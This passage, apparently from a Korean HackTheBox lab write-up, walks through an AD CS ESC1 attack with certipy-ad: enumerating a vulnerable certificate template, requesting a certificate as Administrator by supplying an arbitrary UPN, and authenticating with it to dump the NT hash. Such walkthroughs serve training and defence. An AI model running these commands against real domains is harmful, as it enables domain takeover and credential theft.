certipy-ad find -u <USER> -p <PASS> -dc-ip <DC-IP> -target <IP> -vulnerable -stdout -enabled
certipy-ad의 경우 -vulnerable 플래그를 통해서 취약점을 찾을 수 있습니다.
서버는 ESC1에 취약한 환경으로 출력된 텍스트 문서를 읽으면 다음과 같이 나옵니다.
Certificate Templates
Template Name : UserAuthentication
Display Name : UserAuthentication
Certificate Authorities : sequel-DC-CA
Enabled : True
Client Authentication : True
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : True
Certificate Name Flag : EnrolleeSuppliesSubject
Enrollment Flag : PublishToDs
IncludeSymmetricAlgorithms
Private Key Flag : ExportableKey
Extended Key Usage : Client Authentication
Secure Email
Encrypting File System
Requires Manager Approval : False
Requires Key Archival : False
Authorized Signatures Required : 0
Validity Period : 10 years
Renewal Period : 6 weeks
Minimum RSA Key Length : 2048
Permissions
Enrollment Permissions
Enrollment Rights : SEQUEL.HTB\Domain Admins
출력된 템플릿 정보에서는 ESC1 익스플로잇에 요구되는 4가지 조건이 모두 만족됩니다.
조건이 만족될 경우 certipy-ad를 통해서 공격이 가능합니다.
# 템플릿을 통한 Administrator pfx 파일 요청
certipy-ad req -u <USER> -p <PASS> -ca <CA> -target <DC FQDN> -template <Template> -upn Administrator -dc-ip <dc-ip>
# 발급된 Administrator pfx 파일을 통한 NT Hash 덤핑
certipy-ad auth -pfx <PFX File> -domain <Domain> -dc-ip <dc-ip>